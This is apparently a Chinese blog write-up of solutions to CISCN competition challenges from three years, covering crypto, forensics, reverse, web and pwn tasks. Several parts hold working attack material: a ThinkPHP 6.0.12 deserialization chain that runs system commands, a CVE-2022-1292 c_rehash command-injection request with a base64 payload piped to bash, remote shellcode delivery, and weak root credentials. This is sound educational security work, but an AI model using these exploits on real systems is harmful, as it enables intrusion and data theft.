第15届全国大学生信息安全竞赛-创新实践能力赛

前言

不愧是CTF高考!每次打都好累啊!最后CTF88 + 理论1003 -> 156 🤣🤣🤣

Crypto

签到电台

根据提示“粥市安全到达了”所对应的7个电码1732 2514 1344 0356 0451 6671 0055,以及密码本前7*4个数字,1217 8895 2785 4160 1813 4846 9113,提示中的模十规律是加不进位,计算出加密后的电码2949 0309 3029 4416 1264 0417 9168,构造/send?msg=2949030930294416126404179168发送得到flag

基于挑战码的双向认证1、2

非预期,直接grep就能得到两题的flag

基于挑战码的双向认证3

依旧是非预期,弱密码root/toor提权,老地方找到flag

PS:有点迷的是这个grep出来的flag是什么呢?

(搞的我以为修复了,直到看见一堆解了才想是不是还是非预期呢😒

ISO9798

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from hashlib import *
import string
from pwn import *

p=remote("47.93.176.13",32892)
context.log_level='debug'
p.recvuntil('sha256(XXXX+')
end=p.recv(16).decode()
p.recvuntil(') == ')
sha=p.recvuntil('\n')[:-1].decode()

def proof_of_work(end,sha):
alp=string.ascii_letters+string.digits
for i in alp:
for ii in alp:
for iii in alp:
for iiii in alp:
s=(i+ii+iii+iiii+end).encode()
if sha256(s).hexdigest()==sha:
return i+ii+iii+iiii
xxxx=proof_of_work(end,sha)
p.recvuntil('Give me XXXX: ')
p.sendline(xxxx)
p.recvuntil('> ')
p.sendline('0')
p.recvuntil('Encrypt(rA||rB||B, k) (in hex) is ')
hhh=p.recvuntil('\n')[:-1].decode()
print(hhh)
s1=hhh[:32]
s2=hhh[32:64]
p.recvuntil('> ')
p.sendline(s2+s1)
p.recvall()

Web

Ezpop

参考文章:https://m.freebuf.com/vuls/321546.html

ThinkPHP6.0.12LTS反序列漏洞,有源码泄露,找到路由:?s=index/test

poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
$this->data = ['whoami' => ['cat /flag.txt']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami',['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}

namespace{
echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

online_crt

首先源码泄露,根据源码可知该处访问到go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()

app.run(host="0.0.0.0", port=8888)

而go这里核心代码在于host如何伪造,伪造成功之后即可进行文件名修改

1
2
3
4
5
6
7
8
9
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}
c.String(200, "no")

通过审计上面的代码可知数据包我们可以通过换行符进行多次访问。

名字修改后回到createlink路由发现执行命令c_rehash,该命令存在cve:CVE-2022-1292

1
c_rehash static/crt/ && ls static/crt/

因网上无公开exp,所以通过官网公布的提交可找到删除部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@@ -161,10 +178,12 @@ sub check_file {


sub link_hash_cert { sub link_hash_cert {
my $fname = $_[0]; my $fname = $_[0];
$fname =~ s/\"/\\\"/g; my ($hash, $fprint) = compute_hash($openssl, "x509", $x509hash,
my ($hash, $fprint) = `"$openssl" x509 $x509hash -fingerprint -noout -in "$fname"`; "-fingerprint", "-noout",
"-in", $fname);
chomp $hash; chomp $hash;
chomp $fprint; chomp $fprint;
return if !$hash;
$fprint =~ s/^.*=//; $fprint =~ s/^.*=//;
$fprint =~ tr/://d; $fprint =~ tr/://d;
my $suffix = 0; my $suffix = 0;
@@ -202,10 +221,12 @@ sub link_hash_cert {


sub link_hash_crl { sub link_hash_crl {
my $fname = $_[0]; my $fname = $_[0];
$fname =~ s/'/'\\''/g; my ($hash, $fprint) = compute_hash($openssl, "crl", $crlhash,
my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in '$fname'`; "-fingerprint", "-noout",
"-in", $fname);
chomp $hash;

修改完之后将这部分代码删除了,也就是说问题出在这里

通过审计该文件,可知当选择c_rehash指令对文件夹进行计算时会计算所有名字中带有crt/pem等文件的哈希,命令如下:

1
`"$openssl" x509 $x509hash -fingerprint -noout -in "$fname"`;

那么该漏洞问题就出现在$fname可控的情况,使用双引号闭合前面之后即可达成任意代码执行。

结合题目,也就是说我们只需在题目利用go的功能修改文件名为: 1.crt”||cat /flag >flag.txt “ 即可

exp如下:

1
uri=/admin/renam%25%36%35?oldname=[getcrt得到的文件名].crt%26newname=1.crt%2522%257C%257Cecho%2520Y2F0IC9mbGFnID5mbGFnLnR4dA%253D%253D%257Cbase64%2520-d%257Cbash%2526%2526echo%2522%20HTTP/1.1%0d%0aHost:%20admin%0d%0aConnection:close%0d%0a%0d%0a

访问/createlink路由,接着访问static/crt/flag.txt 即可得到flag

Misc

ez_usb

两个键盘设备,分别提取流量,得到一个压缩包和一个压缩包密码,进而得到flag

1
2
3
4
5
6
7
8
9
[-] Unknow Key : 04
[-] Unknow Key : 04
[-] Unknow Key : 01
[-] Unknow Key : 01
[+] Found : 526172211a0700<CAP>c<CAP>f907300000d00000000000000c4527424943500300000002<CAP>a000000<CAP>02b9f9b0530778b5541d33080020000000666c61672<CAP>e<CAP>747874<CAP>b9b<CAP>a013242f3a<CAP>fc<CAP>000b092c229d6e994167c05<CAP>a7<CAP>8708b271f<CAP>fc<CAP>042ae3d251e65536<CAP>f9a<CAP>da87c77406b67d0<CAP>e6316684766<CAP>a86e844d<CAP>c81aa2<CAP>c72c71348d10c4<CAP>c<DEL>3d7b<CAP>00400700


Running as user "root" and group "root". This could be dangerous.
[+] Found : 35c535765e50074a

everlasting_night

首先lsb,在Alpha2通道发现有竖立着东西

于是使用使用clockpixel得到了一个加密的压缩包

然后压缩包密码在图片最后面的字符串经过md5解密后得到

最后得到一张图片通过gimp打开调一下宽度得到flag

问卷调查

填问卷即可得到flag

babydisk

首先取证大师自动取证提取出一个加密文件和一个音频

接着用kali自带的暴力破解脚本deepsound2john.py解出密码:feedback

通过deepsound打开wav得到key.txt

然后就可以用Veracrypt加载那个加密文件得到一个压缩包,打开是破损了的

根据压缩包名字提示螺旋,直接搬运Mumuzi的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
def function(n):
matrix = [[0] * n for _ in range(n)]

number = 1
left, right, up, down = 0, n - 1, 0, n - 1
while left < right and up < down:
# 从左到右
for i in range(left, right):
matrix[up][i] = number
number += 1

# 从上到下
for i in range(up, down):
matrix[i][right] = number
number += 1

# 从右向左
for i in range(right, left, -1):
matrix[down][i] = number
number += 1

for i in range(down, up, -1):
matrix[i][left] = number
number += 1
left += 1
right -= 1
up += 1
down -= 1
# n 为奇数的时候,正方形中间会有个单独的空格需要单独填充
if n % 2 != 0:
matrix[n // 2][n // 2] = number
return matrix

f = open('spiral.zip','rb').read()
s = function(87)
# print(s)
s = sum(s,[])
#print(s)

f1 = open('fla.zip','wb')
arr = [0]*7569
# print(arr)
for i in range(len(s)):
arr[i] = f[s[i]-1]
#print(arr)
# print(arr)
for i in arr:
print(hex(i)[2:].zfill(2),end='')

进而得到如下图片

最后接着螺旋得到flag:flag{701fa9fe-63f5-410b-93d4-119f96965be6}

Pwn

login-nomal

首先用opt选择1,然后msg来实现指针置1,接着我们就在case 2有漏洞,用opt2来选择case2,在用msg写入shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

context(arch='amd64', os='linux', log_level='debug')
elf = ELF('./login')
DEBUG = 0
if DEBUG:
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc-2.33.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so")
p = process(argv=[ld.path, elf.path], env={"LD_PRELOAD": libc.path})
# p = process('./login')
else:
ip = '47.93.176.91'
port = 35204
# libc = ELF("./libc.so.6")
p = remote(ip, port)


def debug():
gdb.attach(p, "b main")


# gdb.attach(p, "b *$rebase(0x)")


p.recvuntil(">>> ")
p.send("opt:1\nmsg:ro0ta\n\r\r\n")
p.recvuntil(">>> ")
# debug()
p.send(
"opt:2\nmsg:Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070ta\n\r\r\n")

p.interactive()

第14届全国大学生信息安全竞赛-创新实践能力赛

前言

CTF高考好耶!

第一卷-Web

easy_source

来源于:https://r0yanx.com/2020/10/28/fslh-writeup/

php反射,使用ReflectionMethod内置类的getDocComment方法 , 然后爆破一下rb的值得知函数名q,进而得到flag:CISCN{1yVxf-Nt5Gc-ITZhp-6rqwI-2sE6S-}

payload:

1
http://114.116.229.178:25042/?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment

easy_sql

报错注入 + 无列名注入

卷不动了~

第一卷-Misc

tiny_traffic

首先在流量包中提取出test与secret两个br文件 接着我们找到脚本解码得到对应的proto3文件test1、secret1 附上**下载地址**(提取码:ddql)

1
2
python brotlipython.py test test1
python brotlipython.py secret secret1

最后在用protoc解密,整理得到flag:CISCN{e66a22e23457889b0fb1146d172a38dc}

1
protoc --decode=PBResponse test1 < secret1

附上安装protoc命令(Linux-kali)

1
2
3
4
5
PROTOC_ZIP=protoc-3.14.0-linux-x86_64.zip
curl -OL https://github.com/protocolbuffers/protobuf/releases/download/v3.14.0/$PROTOC_ZIP
sudo unzip -o $PROTOC_ZIP -d /usr/local bin/protoc
sudo unzip -o $PROTOC_ZIP -d /usr/local 'include/*'
rm -f $PROTOC_ZIP

running_pixel

首先分解gif(得分解为png或者bmp的,要是jpg最后整出来可能会导致像素信息损失)

1
convert running_pixel.gif ./out/out.png

接着把每一帧的rgb是233 233 233的像素放到一张图上,跑下脚本得到画好的382张图

关键就在于通过对比每十帧里的相同的图片,进而找到(233,233,233)这个点

最后解出来了出题人还要恶心你一下,一帧一帧按顺序去看就能得到flag:CISCN{12504d0f-9de1-4b00-87a5-a5fdd0986a00}(PS:382张图,字还特小)

放个flag的gif演示图

附上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from PIL import Image
import matplotlib.pyplot as plt

IMG = Image.new("RGB", (400,400), (0,0,0))
res = []
for m in range(382):
img = Image.open('./out/out-'+str(m)+'.png').convert('RGB')
t = ''
for i in range(400):
for j in range(400):
p1 = img.getpixel((i,j))
if p1==(233,233,233):
IMG.putpixel((j,i),(255,255,255))
IMG.save('./gif/'+str(m)+'.png')
print(len(res))
plt.imshow(IMG)
plt.show()
IMG.save('flag.png')

第一卷-Reverse

glass

反编译发现在so层加密,解包打开IDA,分析函数得知是rc4加密,跑下脚本得到flag:CISCN{6654d84617f627c88846c172e0f4d46c}

附上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Cipher import ARC4

res = [0xA3, 0x1A, 0xE3, 0x69, 0x2F, 0xBB, 0x1A, 0x84, 0x65, 0xC2, 0xAD, 0xAD, 0x9E, 0x96, 0x05, 0x02, 0x1F, 0x8E, 0x36, 0x4F, 0xE1, 0xEB, 0xAF, 0xF0, 0xEA, 0xC4, 0xA8, 0x2D, 0x42, 0xC7, 0x6E, 0x3F, 0xB0, 0xD3, 0xCC, 0x78, 0xF9, 0x98, 0x3F]
key = b"12345678"
rc4 = ARC4.new(key)
key = list(key)
for i in range(39):
res[i] ^= key[i % 8]
for i in range(0, 39, 3):
tmp0 = res[i]
tmp1 = res[i+1]
tmp2 = res[i+2]
res[i] = tmp1 ^ tmp2
res[i+2] = tmp0 ^ res[i]
res[i+1] = res[i+2] ^ tmp2
print(rc4.decrypt(bytes(res)))

第二卷-Web

middle_source

session文件包含

扫描web文件得到了.listing,.listing文件内容有个php文件you_can_seeeeeeee_me.php

访问you_can_seeeeeeee_me.php是个phpinfo(),有开PHP_SESSION_UPLOAD_PROGRESS,并且拿到了session的路径: /var/lib/php/sessions/jehaahfcad/

这样我们可以通过上传文件,然后使用文件包含执行这个/var/lib/php/sessions/jehaahfcad/sess_xxxxxxxxxx文件

phpinfo有ban了函数 , 不能执行命令,所以用scandir去读取目录

第二卷-Misc

隔空传话

首先我们拿到了一堆加密的通话数据,得知是短信编码中的**PDU**(但是给的数据过多,懒狗肯定想办法整个批量的 附上批量脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import time
import re
f = open('data.txt')
url = 'https://www.smspdu.be/'
data = {'action': 'ppdu',
'pdu': '',
'submit': 'Decode'}
rep = re.compile(r'<TD>(.*?)</TD>')
ff = open('out.txt','a',encoding='utf-8')
rr = f.readlines()
for i in range(len(rr)):
c = rr[i]
data['pdu'] = c.strip()
r = requests.post(url,data).text
res = re.findall(rep,str(r))
print(c)
print(res[20])
ff.write(res[20]+'\n')
time.sleep(0.5)

接着根据pdu信息里本身包含的时间信息排序,排起来就是一张png(指的是后面的16进制数据

附上排序脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
f = open('data.txt').readlines()
f1 = open('out.txt').readlines()
res = {}
d = {}
for i in range(4,len(f)):
l = f[i][42:44][::-1]+f[i][44:46][::-1]
res[int(l)] = f1[i-4].strip()
print(l)
f2 = open('final.txt','a')
for i in range(3924,4938):
try:
f2.write(res[i])
except:
pass

最后crc爆破宽度会发现前面解码给的w465意思就是宽度是465,进而整理得到flag:CISCN{15030442_b586_4c9e_b436_26def12293e4}(手动滑稽~

第三卷-Misc

robot

把TCP的第一个流导出来,然后所有的坐标都在里面,提取一下就能得到flag:CISCN{easy_robo_xx}

附上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import re
from PIL import Image
import matplotlib.pyplot as plt

f = open('tmp').read()
reg = re.compile(r'tgPos.*?]')
res = re.findall(reg,f)
print(res)
print(len(res))
img = Image.new('RGB',(500,500),(255,255,255))
for i in res[:-1]:
tmp = eval(i.split('.')[2])
img.putpixel((tmp[0],tmp[1]),(0,0,0))
img.save('flag.png')

第13届全国大学生信息安全竞赛-创新实践能力赛

Misc

the_best_ctf_game

附件(提取码:kkgs)

仔细观察即可得到flag

Pwn

babyjsc

题目描述:nc 101.200.53.148 13465

非预期解(不看附件

__import__('os').system('cat home/ctf/flag')

Reverse

z3

附件(提取码:v02b)

转十进制,解五组方程组(仅举一个例子

1
2
3
4
5
6
7
12094=34 * v56 + 12 * v53 + 53 * v54 + 6 * v55 + 58 * v57 + 36 * v58 + v59
25270=27 * v57 + 73 * v56 + 12 * v55 + 83 * v53 + 85 * v54 + 96 * v58 + 52 * v59
19330=24 * v55 + 78 * v53 + 53 * v54 + 36 * v56 + 86 * v57 + 25 * v58 + 46 * v59
18540=78 * v54 + 39 * v53 + 52 * v55 + 9 * v56 + 62 * v57 + 37 * v58 + 84 * v59
16386=48 * v57 + 14 * v55 + 23 * v53 + 6 * v54 + 74 * v56 + 12 * v58 + 83 * v59
21207=15 * v58 + 48 * v57 + 92 * v55 + 85 * v54 + 27 * v53 + 42 * v56 + 72 * v59
11759=26 * v58 + 67 * v56 + 6 * v54 + 4 * v53 + 3 * v55 + 68 * v59

sage一把梭哈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var('v53,v54,v55,v56,v57,v58,v59')

s1 = 12094 == 34 * v56 + 12 * v53 + 53 * v54 + 6 * v55 + 58 * v57 + 36 * v58 + v59

s2 = 25270 == 27 * v57 + 73 * v56 + 12 * v55 + 83 * v53 + 85 * v54 + 96 * v58 + 52 * v59

s3 = 19330 == 24 * v55 + 78 * v53 + 53 * v54 + 36 * v56 + 86 * v57 + 25 * v58 + 46 * v59

s4 = 18540 == 78 * v54 + 39 * v53 + 52 * v55 + 9 * v56 + 62 * v57 + 37 * v58 + 84 * v59

s5 = 16386 == 48 * v57 + 14 * v55 + 23 * v53 + 6 * v54 + 74 * v56 + 12 * v58 + 83 * v59

s6 = 21207 == 15 * v58 + 48 * v57 + 92 * v55 + 85 * v54 + 27 * v53 + 42 * v56 + 72 * v59

s7 = 11759 == 26 * v58 + 67 * v56 + 6 * v54 + 4 * v53 + 3 * v55 + 68 * v59

solve([s1,s2,s3,s4,s5,s6,s7],v53,v54,v55,v56,v57,v58,v59)

以此类推,得到结果:

组合以上结果,解密得到flag:flag{7e171d43-63b9-4e18-990e-6e14c2afe648}

脚本如下:

1
2
3
4
s=''
for i in flag:
s+=chr(i)
print s